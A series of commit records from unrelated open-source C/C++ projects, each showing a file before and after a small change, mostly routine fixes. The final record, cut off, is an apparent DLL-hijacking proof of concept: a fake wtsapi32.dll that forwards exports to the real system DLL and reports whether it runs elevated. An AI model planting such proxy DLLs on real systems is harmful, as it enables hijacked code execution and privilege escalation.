#define PLAT_MAX_OFF_STATE		U(2)
#define PLAT_MAX_RET_STATE		U(1)

#define PLAT_PROC_START_ID		32
#define PLAT_PROC_DEVICE_START_ID	202

#endif /* BOARD_DEF_H */

ti: Unify Platform specific defines for PSCI module

PLATFORM_CORE_COUNT - Unsigned int
PLATFORM_CLUSTER_COUNT - Unsigned int
PLATFORM_MAX_CPUS_PER_CLUSTER - Unsigned int
PLATFORM_CORE_COUNT_PER_CLUSTER - Unsigned int

Signed-off-by: Deepika Bhavnani <095849dccdc2dcad20acc908a1b020ea4af994c4@arm.com>
Change-Id: Ia7072d82116b03904c1b3982f37d96347203e621


/*
 * Copyright (C) 2005  Stephen Rothwell  IBM Corp.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version
 * 2 of the License, or (at your option) any later version.
 */
#include <asm/mmu.h>
#include <asm/page.h>
#include <asm/iseries/lpar_map.h>

const struct LparMap __attribute__((__section__(".text"))) xLparMap = {
	.xNumberEsids = HvEsidsToMap,
	.xNumberRanges = HvRangesToMap,
	.xSegmentTableOffs = STAB0_PAGE,

	.xEsids = {
		{ .xKernelEsid = GET_ESID(PAGE_OFFSET),
		  .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), },
		{ .xKernelEsid = GET_ESID(VMALLOC_START),
		  .xKernelVsid = KERNEL_VSID(VMALLOC_START), },
	},

	.xRanges = {
		{ .xPages = HvPagesToMap,
		  .xOffset = 0,
		  .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT),
		},
	},
};

/*
 * Copyright (C) 2005  Stephen Rothwell  IBM Corp.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version
 * 2 of the License, or (at your option) any later version.
 */
#include <asm/mmu.h>
#include <asm/pgtable.h>
#include <asm/iseries/lpar_map.h>

const struct LparMap __attribute__((__section__(".text"))) xLparMap = {
	.xNumberEsids = HvEsidsToMap,
	.xNumberRanges = HvRangesToMap,
	.xSegmentTableOffs = STAB0_PAGE,

	.xEsids = {
		{ .xKernelEsid = GET_ESID(PAGE_OFFSET),
		  .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), },
		{ .xKernelEsid = GET_ESID(VMALLOC_START),
		  .xKernelVsid = KERNEL_VSID(VMALLOC_START), },
	},

	.xRanges = {
		{ .xPages = HvPagesToMap,
		  .xOffset = 0,
		  .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT),
		},
	},
};

[PATCH] powerpc: Fix iSeries bug in VMALLOCBASE/VMALLOC_START consolidation

Oops, forgot to compile the VMALLOCBASE/VMALLOC_START patch on
iSeries.  VMALLOC_START is defined in pgtable.h whereas previously
VMALLOCBASE was previously defined in page.h.  lparmap.c needs to be
updated appropriately.

Booted on iSeries RS64 (now).

Signed-off-by: David Gibson <58469ba664997fcb401d465b27655a3c41d34e08@au1.ibm.com>
Signed-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>


/* This source file is part of the Tomviz project, https://tomviz.org/.
   It is released under the 3-Clause BSD License, see "LICENSE". */

#ifndef tomvizH5CAPI_h
#define tomvizH5CAPI_h

extern "C"
{
#include <hdf5.h>
}

#endif // tomvizH5CAPI_h

/* This source file is part of the Tomviz project, https://tomviz.org/.
   It is released under the 3-Clause BSD License, see "LICENSE". */

#ifndef tomvizH5CAPI_h
#define tomvizH5CAPI_h

extern "C"
{
#include <vtk_hdf5.h>
}

#endif // tomvizH5CAPI_h

Include vtk_hdf5.h rather than hdf5.h

Include vtk_hdf5.h rather than hdf5.h

This ensures we pick up the VTK version of HDF5.

Signed-off-by: Chris Harris <a361e89d1eba6c570561222d75facbbf7aaeeafe@kitware.com>


#include <map>
#include <sstream>
#include <string>

class ConfigReader {
public:
	ConfigReader();
	ConfigReader(const std::string &filename);

	bool LoadFile(const std::string &filename);

	template<typename T>
	T GetOption(const std::string &name, const T &defaultValue) const {
		std::map<std::string, std::string>::const_iterator it = options_.find(name);
		if (it == options_.end()) {
			return defaultValue;
		}
		std::stringstream sstream(it->second);
		T value;
		sstream >> value;
		if (!sstream) {
			return defaultValue;
		}
		return value;
	}

	bool IsLoaded() const { return loaded_; }

private:
	bool loaded_;
	std::map<std::string, std::string> options_;
};

#include <map>
#include <sstream>
#include <string>

class ConfigReader {
public:
	ConfigReader();
	ConfigReader(const std::string &filename);

	bool LoadFile(const std::string &filename);

	template<typename T>
	T GetOption(const std::string &name, const T &defaultValue) const;

	bool IsLoaded() const { return loaded_; }

private:
	bool loaded_;
	std::map<std::string, std::string> options_;
};

template<typename T>
T ConfigReader::GetOption(const std::string &name, const T &defaultValue) const {
	std::map<std::string, std::string>::const_iterator it = options_.find(name);
	if (it == options_.end()) {
		return defaultValue;
	}
	std::stringstream sstream(it->second);
	T value;
	sstream >> value;
	if (!sstream) {
		return defaultValue;
	}
	return value;
}

Move ConfigReader::GetOption()'s implementation outside of class definition


/*
 *  Copyright (c) 2017, Facebook, Inc.
 *  All rights reserved.
 *
 *  This source code is licensed under the BSD-style license found in the
 *  LICENSE file in the root directory of this source tree. An additional grant
 *  of patent rights can be found in the PATENTS file in the same directory.
 *
 */
#pragma once

namespace wangle {

class SSLStats {
 public:
  virtual ~SSLStats() noexcept {}

  // downstream
  virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0;
  virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0;
  virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign)
    noexcept = 0;
  virtual void recordSSLSessionRemove() noexcept = 0;
  virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0;
  virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0;
  virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0;
  virtual void recordClientRenegotiation() noexcept = 0;

  // upstream
  virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0;
  virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0;

};

} // namespace wangle

/*
 *  Copyright (c) 2017, Facebook, Inc.
 *  All rights reserved.
 *
 *  This source code is licensed under the BSD-style license found in the
 *  LICENSE file in the root directory of this source tree. An additional grant
 *  of patent rights can be found in the PATENTS file in the same directory.
 *
 */
#pragma once

namespace wangle {

class SSLStats {
 public:
  virtual ~SSLStats() noexcept {}

  // downstream
  virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0;
  virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0;
  virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign)
    noexcept = 0;
  virtual void recordSSLSessionRemove() noexcept = 0;
  virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0;
  virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0;
  virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0;
  virtual void recordClientRenegotiation() noexcept = 0;
  virtual void recordSSLClientCertificateMismatch() noexcept = 0;

  // upstream
  virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0;
  virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0;

};

} // namespace wangle

Add a counter for client cert verification mismatches

Summary: As per title

Reviewed By: yfeldblum

Differential Revision: D4665764

fbshipit-source-id: 7051a3958900ac3c3387f1b7e08e45ae38abcc73


#include <stdio.h>
#include <stdarg.h>

static FILE* g_logfile = NULL;

int message (const char* fmt, ...)
{
	va_list ap;

	if (g_logfile) {
		va_start (ap, fmt);
		vfprintf (g_logfile, fmt, ap);
		va_end (ap);
	}

	va_start (ap, fmt);
	int rc = vfprintf (stdout, fmt, ap);
	va_end (ap);

	return rc;
}

void message_set_logfile (const char* filename)
{
	if (g_logfile) {
		fclose (g_logfile);
		g_logfile = NULL;
	}

	if (filename)
		g_logfile = fopen (filename, "w");
}

#include <stdio.h>
#include <stdarg.h>
#include <string.h>

static FILE* g_logfile = NULL;

static unsigned char g_lastchar = '\n';

#ifdef _WIN32
	#include <windows.h>
	static unsigned long g_timestamp;
#else
	#include <sys/time.h>
	static struct timeval g_timestamp;
#endif

int message (const char* fmt, ...)
{
	va_list ap;

	if (g_logfile) {
		if (g_lastchar == '\n') {
#ifdef _WIN32
			unsigned long timestamp = GetTickCount () - g_timestamp;
			unsigned long sec = timestamp / 1000L, msec = timestamp % 1000L;
			fprintf (g_logfile, "[%li.%03li] ", sec, msec);
#else
			struct timeval now = {0}, timestamp = {0};
			gettimeofday (&now, NULL);
			timersub (&now, &g_timestamp, &timestamp);
			fprintf (g_logfile, "[%lli.%06lli] ", (long long)timestamp.tv_sec, (long long)timestamp.tv_usec);
#endif
		}

		size_t len = strlen (fmt);
		if (len > 0)
			g_lastchar = fmt[len - 1];
		else
			g_lastchar = 0;

		va_start (ap, fmt);
		vfprintf (g_logfile, fmt, ap);
		va_end (ap);
	}

	va_start (ap, fmt);
	int rc = vfprintf (stdout, fmt, ap);
	va_end (ap);

	return rc;
}

void message_set_logfile (const char* filename)
{
	if (g_logfile) {
		fclose (g_logfile);
		g_logfile = NULL;
	}

	if (filename)
		g_logfile = fopen (filename, "w");

	if (g_logfile) {
		g_lastchar = '\n';
#ifdef _WIN32
		g_timestamp = GetTickCount ();
#else
		gettimeofday (&g_timestamp, NULL);
#endif
	}
}

Write timestamps to the logfile.

Write timestamps to the logfile.


#ifndef ENGINE_PARALLELL_CLPARALLELL_H_
#define ENGINE_PARALLELL_CLPARALLELL_H_

/* OpenCL 1.2 */
#define CL_HPP_MINIMUM_OPENCL_VERSION 120
#define CL_HPP_TARGET_OPENCL_VERSION 120

#define CL_HPP_ENABLE_EXCEPTIONS

#include <vector>
#include <tbb/mutex.h>

#ifdef __APPLE__
    #include <OpenCL/cl2.hpp>
#else
    #include <CL/cl2.hpp>
#endif

#include "engine/parallell/engine_parallell.h"

namespace engine {
namespace parallell {

class CLParallell : public EngineParallell {

public:
    void InitCollisionParallell() override final;
    float ComputeCollisionParallell(float box1[], float box2[]) override final;
    ~CLParallell() override = default;

private:
    cl::Kernel cl_kernel_;
    cl::CommandQueue cl_queue_;
    std::vector<cl::Buffer> bufferin_;
    std::vector<cl::Buffer> bufferout_;
    int wk_size_{4};
    tbb::mutex collision_mutex_;
};

}//namespace parallell
}//namespace engine

#endif //ENGINE_PARALLELL_CLPARALLELL_H_

#ifndef ENGINE_PARALLELL_CLPARALLELL_H_
#define ENGINE_PARALLELL_CLPARALLELL_H_

/* OpenCL 1.2 */
#define CL_HPP_MINIMUM_OPENCL_VERSION 120
#define CL_HPP_TARGET_OPENCL_VERSION 120

#define CL_HPP_ENABLE_EXCEPTIONS

#include <vector>
#include <tbb/mutex.h>

#ifdef __APPLE__
    #include <OpenCL/cl2.hpp>
#else
    #include <CL/cl2.hpp>
#endif

#include "engine/parallell/engine_parallell.h"

namespace engine {
namespace parallell {

class CLParallell : public EngineParallell {

public:
    void InitCollisionParallell() override final;
    float ComputeCollisionParallell(float box1[], float box2[]) override final;
    ~CLParallell() override = default;

private:
    cl::Kernel cl_kernel_;
    cl::CommandQueue cl_queue_;
    std::vector<cl::Buffer> bufferin_;
    std::vector<cl::Buffer> bufferout_;
    int wk_size_{32};
    tbb::mutex collision_mutex_;
};

}//namespace parallell
}//namespace engine

#endif //ENGINE_PARALLELL_CLPARALLELL_H_

Change default wksize for opencl config

Change default wksize for opencl config


#include "StatusCode.h"

HttpseCode
httpse_check_status_code(const HttpseTData *tdata)
{
	long cp = 0, cs = 0;

	curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp);
	curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs);

	if(cs && cp)
	{
		if(cs != cp)
		{
			return HTTPSE_STATUS_CODE_MISMATCH;
		}

		switch(cp/ 100)
		{
		case 2:
		case 3:
			return HTTPSE_OK;

		case 4:
			return HTTPSE_STATUS_CODE_4XX;

		case 5:
			return HTTPSE_STATUS_CODE_5XX;

		default:
			return HTTPSE_STATUS_CODE_OTHERS;
		}
	}

	/* Remark: Unreachable code. */
	return HTTPSE_ERROR_UNKNOWN;
}

#include "StatusCode.h"

HttpseCode
httpse_check_status_code(const HttpseTData *tdata)
{
	long cp = 0;
	long cs = 0;

	curl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp);
	curl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs);

	if(cs == cp)
	{
		switch(cp/ 100)
		{
		/* Remark: unable to recieve HTTP response code, skip tests */
		case 0:

		/* Remark: everything is OK */
		case 2:
		case 3:
			return HTTPSE_OK;

		case 4:
			return HTTPSE_STATUS_CODE_4XX;

		case 5:
			return HTTPSE_STATUS_CODE_5XX;

		default:
			return HTTPSE_STATUS_CODE_OTHERS;
		}
	}
	return HTTPSE_STATUS_CODE_MISMATCH;
}

Fix coding style and improve readability


// https://github.com/goblint/analyzer/issues/554
int a;

int main() { c(&a); }
int c(int *f) {
  unsigned long d;
  int *e = &a;
  d = 0;
  while (1) {
    e = f++;
    d++;
  }
}

Add test where address domain widening creates duplicates


#define DEBUG		/* enable debugging code (needed for dig) */
#undef	ALLOW_T_UNSPEC	/* enable the "unspec" RR type for old athena */
#define	RESOLVSORT	/* allow sorting of addresses in gethostbyname */
#undef	RFC1535		/* comply with RFC1535 */
#undef	ALLOW_UPDATES	/* destroy your system security */
#undef	USELOOPBACK	/* res_init() bind to localhost */
#undef	SUNSECURITY	/* verify gethostbyaddr() calls - WE DONT NEED IT  */

#define	DEBUG	1	/* enable debugging code (needed for dig) */
#undef	ALLOW_T_UNSPEC	/* enable the "unspec" RR type for old athena */
#define	RESOLVSORT	/* allow sorting of addresses in gethostbyname */
#undef	RFC1535		/* comply with RFC1535 */
#undef	ALLOW_UPDATES	/* destroy your system security */
#undef	USELOOPBACK	/* res_init() bind to localhost */
#undef	SUNSECURITY	/* verify gethostbyaddr() calls - WE DONT NEED IT  */

Define DEBUG as 1 instead of as nothing so that it doesn't conflict with -DDEBUG in libresolv/Makefile.


/*++

Copyright (c) 2006, Intel Corporation
All rights reserved. This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution.  The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php

THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.

Module Name:

  EdkPeCoffLoaderLib.h

Abstract:
  Wrap the Base PE/COFF loader with the PE COFF Protocol

--*/

#ifndef __PE_COFF_LOADER_LIB_H_
#define __PE_COFF_LOADER_LIB_H_

#include <Protocol/PeiPeCoffLoader.h>

EFI_PEI_PE_COFF_LOADER_PROTOCOL*
EFIAPI
GetPeCoffLoaderProtocol (
  VOID
  );

#endif

/*++

Copyright (c) 2006, Intel Corporation
All rights reserved. This program and the accompanying materials
are licensed and made available under the terms and conditions of the BSD License
which accompanies this distribution.  The full text of the license may be found at
http://opensource.org/licenses/bsd-license.php

THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.

Module Name:

  EdkPeCoffLoaderLib.h

Abstract:
  Wrap the Base PE/COFF loader with the PE COFF Protocol

--*/

#ifndef __PE_COFF_LOADER_LIB_H_
#define __PE_COFF_LOADER_LIB_H_

#include <Guid/PeiPeCoffLoader.h>

EFI_PEI_PE_COFF_LOADER_PROTOCOL*
EFIAPI
GetPeCoffLoaderProtocol (
  VOID
  );

#endif

Move PeiPeCoffLoader from /Protocol to /Guid.

git-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3047 6f19259b-4bc3-4df7-8a09-765794883524


/*===- TimeVaryingDragForce.h - libSimulation -=================================
*
*                                  DEMON
*
* This file is distributed under the BSD Open Source License. See LICENSE.TXT
* for details.
*
*===-----------------------------------------------------------------------===*/

#ifndef TIMEVARYINGDRAGFORCE_H
#define TIMEVARYINGDRAGFORCE_H

#include "DragForce.h"
using namespace std;

class TimeVaryingDragForce : public DragForce
{
public:
	TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset);	//overloaded constructor
	~TimeVaryingDragForce() {} //destructor

//public functions:
	void force1(const double currentTime); //rk substep 1
	void force2(const double currentTime); //rk substep 2
	void force3(const double currentTime); //rk substep 3
	void force4(const double currentTime); //rk substep 4

	void writeForce(fitsfile *file, int *error) const;
	void readForce(fitsfile *file, int *error);

private:
//private variables:
    double scaleConst;	//[s^-2]
    double offsetConst; //[s^-1]

//private methods:
	const double calculateGamma(const double currentTime) const;
};

#endif /* TIMEVARYINGDRAGFORCE_H */

/*===- TimeVaryingDragForce.h - libSimulation -=================================
*
*                                  DEMON
*
* This file is distributed under the BSD Open Source License. See LICENSE.TXT
* for details.
*
*===-----------------------------------------------------------------------===*/

#ifndef TIMEVARYINGDRAGFORCE_H
#define TIMEVARYINGDRAGFORCE_H

#include "DragForce.h"

class TimeVaryingDragForce : public DragForce
{
public:
	TimeVaryingDragForce(Cloud * const myCloud, const double scale, const double offset);	//overloaded constructor
	~TimeVaryingDragForce() {} //destructor

//public functions:
	void force1(const double currentTime); //rk substep 1
	void force2(const double currentTime); //rk substep 2
	void force3(const double currentTime); //rk substep 3
	void force4(const double currentTime); //rk substep 4

	void writeForce(fitsfile *file, int *error) const;
	void readForce(fitsfile *file, int *error);

private:
//private variables:
    double scaleConst;	//[s^-2]
    double offsetConst; //[s^-1]

//private methods:
	const double calculateGamma(const double currentTime) const;
};

#endif /* TIMEVARYINGDRAGFORCE_H */

Remove unnecessary using directive. This sclences a warning when compiling with clang++.


#pragma once
/* 11pm.h - functions and data types related
 * to the operation of HPM itself */

// install.c - functions related to symlinking
// (installing) already faked packages
int xipm_symlink(char *from, char *to);

#pragma once
/* 11pm.h - functions and data types related
 * to the operation of 11pm itself */

// install.c - functions related to symlinking
// (installing) already faked packages
int xipm_symlink(char *from, char *to);

Change a missed instance of 'HPM'

Change a missed instance of 'HPM'


// PARAM: --set ana.int.interval true --set solver "'td3'"
#include<pthread.h>
#include<assert.h>

int glob1 = 0;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;

void *t_fun(void *arg) {
  int t;
  pthread_mutex_lock(&mutex1);
  pthread_mutex_lock(&mutex2);
  glob1 = 5;

  pthread_mutex_unlock(&mutex2);
  pthread_mutex_lock(&mutex2);

  assert(glob1 == 5);
  glob1 = 0;

  pthread_mutex_unlock(&mutex1);
  pthread_mutex_unlock(&mutex2);
  return NULL;
}

int main(void) {
  pthread_t id;
  assert(glob1 == 0);
  pthread_create(&id, NULL, t_fun, NULL);
  pthread_mutex_lock(&mutex2);
  assert(glob1 == 0); // UNKNOWN
  assert(glob1 == 5); // UNKNOWN
  pthread_mutex_unlock(&mutex2);
  pthread_join (id, NULL);
  return 0;
}

// PARAM: --set ana.int.interval true --set solver "'td3'"
#include<pthread.h>
#include<assert.h>

int glob1 = 0;
pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t mutex2 = PTHREAD_MUTEX_INITIALIZER;

void *t_fun(void *arg) {
  int t;
  pthread_mutex_lock(&mutex1);
  pthread_mutex_lock(&mutex2);
  glob1 = 5;

  pthread_mutex_unlock(&mutex2);
  pthread_mutex_lock(&mutex2);

  assert(glob1 == 5);
  glob1 = 0;

  pthread_mutex_unlock(&mutex1);
  pthread_mutex_unlock(&mutex2);
  return NULL;
}

int main(void) {
  pthread_t id;
  assert(glob1 == 0);
  pthread_create(&id, NULL, t_fun, NULL);
  pthread_mutex_lock(&mutex2);
  assert(glob1 == 0); // UNKNOWN!
  assert(glob1 == 5); // UNKNOWN!
  pthread_mutex_unlock(&mutex2);
  pthread_join (id, NULL);
  return 0;
}

Test 13/19: Add ! to UNKNOWN

Test 13/19: Add ! to UNKNOWN


//PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid
#include <pthread.h>
#include <assert.h>

int g = 10;
int h = 10;
pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;

void *t_fun(void *arg) {
  return NULL;
}

void *t_benign(void *arg) {
  pthread_t id2;
  pthread_create(&id2, NULL, t_fun, NULL);
  __goblint_assume_join(id2, NULL);
  // t_fun should be in here

  g = 7;

  return NULL;
}

int main(void) {
  int t;

  pthread_t id2[10];
  for(int i =0; i < 10;i++) {
    pthread_create(&id2[i], NULL, t_benign, NULL);
  }

  __goblint_assume_join(id2[2]);
  // t_benign and t_fun should be in here

  assert(g==h); //FAIL

  return 0;
}

Add test that's unsound because of __goblint_assume_join(...)


#ifndef __REGIS_H__
#define __REGIS_H__

#include "postgres.h"

typedef struct RegisNode
{
	uint32
				type:2,
				len:16,
				unused:14;
	struct RegisNode *next;
	unsigned char data[1];
}	RegisNode;

#define  RNHDRSZ	(sizeof(uint32)+sizeof(void*))

#define RSF_ONEOF	1
#define RSF_NONEOF	2

typedef struct Regis
{
	RegisNode  *node;
	uint32
				issuffix:1,
				nchar:16,
				unused:15;
}	Regis;

int			RS_isRegis(const char *str);

int			RS_compile(Regis * r, int issuffix, const char *str);
void		RS_free(Regis * r);

/* 1   */
int			RS_execute(Regis * r, const char *str, int len);

#endif

#ifndef __REGIS_H__
#define __REGIS_H__

#include "postgres.h"

typedef struct RegisNode
{
	uint32
				type:2,
				len:16,
				unused:14;
	struct RegisNode *next;
	unsigned char data[1];
}	RegisNode;

#define  RNHDRSZ	(offsetof(RegisNode,data))

#define RSF_ONEOF	1
#define RSF_NONEOF	2

typedef struct Regis
{
	RegisNode  *node;
	uint32
				issuffix:1,
				nchar:16,
				unused:15;
}	Regis;

int			RS_isRegis(const char *str);

int			RS_compile(Regis * r, int issuffix, const char *str);
void		RS_free(Regis * r);

/* 1   */
int			RS_execute(Regis * r, const char *str, int len);

#endif

Fix incorrect header size macros

Fix incorrect header size macros


/*
 * Copyright (c) 2016 Lech Kulina
 *
 * This file is part of the Realms Of Steel.
 * For conditions of distribution and use, see copyright details in the LICENSE file.
 */
#ifndef ROS_COMMON_H
#define ROS_COMMON_H

#include <cstddef>
#include <cstdlib>
#include <cstdio>
#include <cstdarg>
#include <cstring>
#include <cassert>

#define ROS_NOOP ((void)0)
#define ROS_NULL NULL

#ifndef ROS_DISABLE_ASSERTS
    #define ROS_ASSERT assert
#else
    #define ROS_ASSERT ROS_NOOP
#endif

namespace ros {

    template<class Type, size_t Size>
    inline Type* ArrayBegin(Type (&array)[Size]) {
        return &array[0];
    }

    template<class Type, size_t Size>
    inline Type* ArrayEnd(Type (&array)[Size]) {
        return &array[0] + Size;
    }

    const size_t KB = 1024;
    const size_t MB = 1024 * 1024;

    template<class Type>
    inline Type Alignment(const Type& value, size_t multiple) {
        return (multiple - (value % multiple)) % multiple;
    }

    template<class Type>
    inline Type Align(const Type& value, size_t multiple) {
        return value + alignment(value, multiple);
    }

}

#endif // ROS_COMMON_H

Add some common utils for arrays and alignment


/*  Copyright 2010 Curtis McEnroe <programble@gmail.com>
 *
 *  This file is part of BSH.
 *
 *  BSH is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  BSH is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with BSH.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "common.h"
#include "reader.h"
#include "command.h"

int main(int argc, char *argv[])
{
    while (true)
    {
        printf("%s ", (geteuid() == 0) ? "#" : "$");
        char **command = read_command(stdin);
        if (!command)
            break;
        if (strequ(command[0], ""))
            continue;
        run_command(command);
        free_command(command);
    }
    return 0;
}

/*  Copyright 2010 Curtis McEnroe <programble@gmail.com>
 *
 *  This file is part of BSH.
 *
 *  BSH is free software: you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation, either version 3 of the License, or
 *  (at your option) any later version.
 *
 *  BSH is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with BSH.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include "common.h"
#include "reader.h"
#include "command.h"

int main(int argc, char *argv[])
{
    setenv("SHELL", argv[0], true);
    while (true)
    {
        printf("%s ", (geteuid() == 0) ? "#" : "$");
        char **command = read_command(stdin);
        if (!command)
            break;
        if (strequ(command[0], ""))
            continue;
        run_command(command);
        free_command(command);
    }
    return 0;
}

Set the SHELL environment variable

Set the SHELL environment variable


#ifndef __ADR_MAIN_H__
#define __ADR_MAIN_H__

// Libraries //
#include "craftable.h"
#include "resource.h"
#include "villager.h"
#include "location.h"

// Forward Declarations //
enum LOCATION adr_loc;
enum FIRE_STATE adr_fire;
enum ROOM_TEMP adr_temp;
unsigned int adr_rs [ALIEN_ALLOY + 1];
unsigned short adr_cs [RIFLE + 1];
unsigned short adr_vs [MUNITIONIST + 1];

#endif // __ADR_MAIN_H__
// vim: set ts=4 sw=4 et:

#ifndef __ADR_MAIN_H__
#define __ADR_MAIN_H__

// Libraries //
#include "craftable.h"
#include "resource.h"
#include "villager.h"
#include "location.h"

// Forward Declarations //
static enum LOCATION adr_loc;
static enum FIRE_STATE adr_fire;
static enum ROOM_TEMP adr_temp;
static unsigned int adr_rs [ALIEN_ALLOY + 1];
static unsigned short adr_cs [RIFLE + 1];
static unsigned short adr_vs [MUNITIONIST + 1];

#endif // __ADR_MAIN_H__
// vim: set ts=4 sw=4 et:

Make all the state variables static (still subject to significant change)


//===- lld/ReaderWriter/ELF/Mips/MipsRelocationHandler.h ------------------===//
//
//                             The LLVM Linker
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H
#define LLD_READER_WRITER_ELF_MIPS_MIPS_RELOCATION_HANDLER_H

#include "TargetHandler.h"
#include "lld/Core/Reference.h"

namespace lld {
namespace elf {

template<typename ELFT> class MipsTargetLayout;

class MipsRelocationHandler : public TargetRelocationHandler {
public:
  virtual Reference::Addend readAddend(Reference::KindValue kind,
                                       const uint8_t *content) const = 0;
};

template <class ELFT>
std::unique_ptr<TargetRelocationHandler>
createMipsRelocationHandler(MipsLinkingContext &ctx, MipsTargetLayout<ELFT> &layout);

} // elf
} // lld

#endif

Reformat the code with clang-format

[Mips] Reformat the code with clang-format

git-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@234153 91177308-0d34-0410-b5e6-96231b3b80d8


/*
 * Copyright 2016 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */
#ifndef SK_MILESTONE
#define SK_MILESTONE 79
#endif

/*
 * Copyright 2016 Google Inc.
 *
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file.
 */
#ifndef SK_MILESTONE
#define SK_MILESTONE 80
#endif

Update Skia milestone to 80

Update Skia milestone to 80

TBR=reed

Change-Id: I121ad8cf68f4a42ba5285cef5c2f9d450ba7545b
Reviewed-on: https://skia-review.googlesource.com/c/skia/+/249123
Reviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>
Commit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>
Auto-Submit: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>


// i686-w64-mingw32-g++ dll.c -lws2_32 -o wtsapi32.dll -shared
#include <windows.h>
#include <string>
#include <stdio.h>
#include <Lmcons.h>
BOOL IsElevated() {
	BOOL fRet = FALSE;
	HANDLE hToken = NULL;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
		TOKEN_ELEVATION Elevation;
		DWORD cbSize = sizeof(TOKEN_ELEVATION);
		if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
			fRet = Elevation.TokenIsElevated;
		}
	}
	if (hToken) {
		CloseHandle(hToken);
	}
	return fRet;
}
asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateProcessesW=c:/windows/system32/wtsapi32.WTSEnumerateProcessesW\"");
asm (".section .drectve\n\t.ascii \" -export:WTSQueryUserToken=c:/windows/system32/wtsapi32.WTSQueryUserToken\"");
asm (".section .drectve\n\t.ascii \" -export:WTSFreeMemory=c:/windows/system32/wtsapi32.WTSFreeMemory\"");
asm (".section .drectve\n\t.ascii \" -export:WTSEnumerateSessionsW=c:/windows/system32/wtsapi32.WTSEnumerateSessionsW\"");
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    BOOL elevated;
    char username[UNLEN+1];
    DWORD username_len = UNLEN + 1;
    char out[UNLEN+28];
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            elevated = IsElevated();
            GetUserName(username, &username_len);
            strcpy(out, "Running ");
            if (elevated) {
                strcat(out, "elevated as user ");
            } else {
                strcat(out, "unelevated as user ");
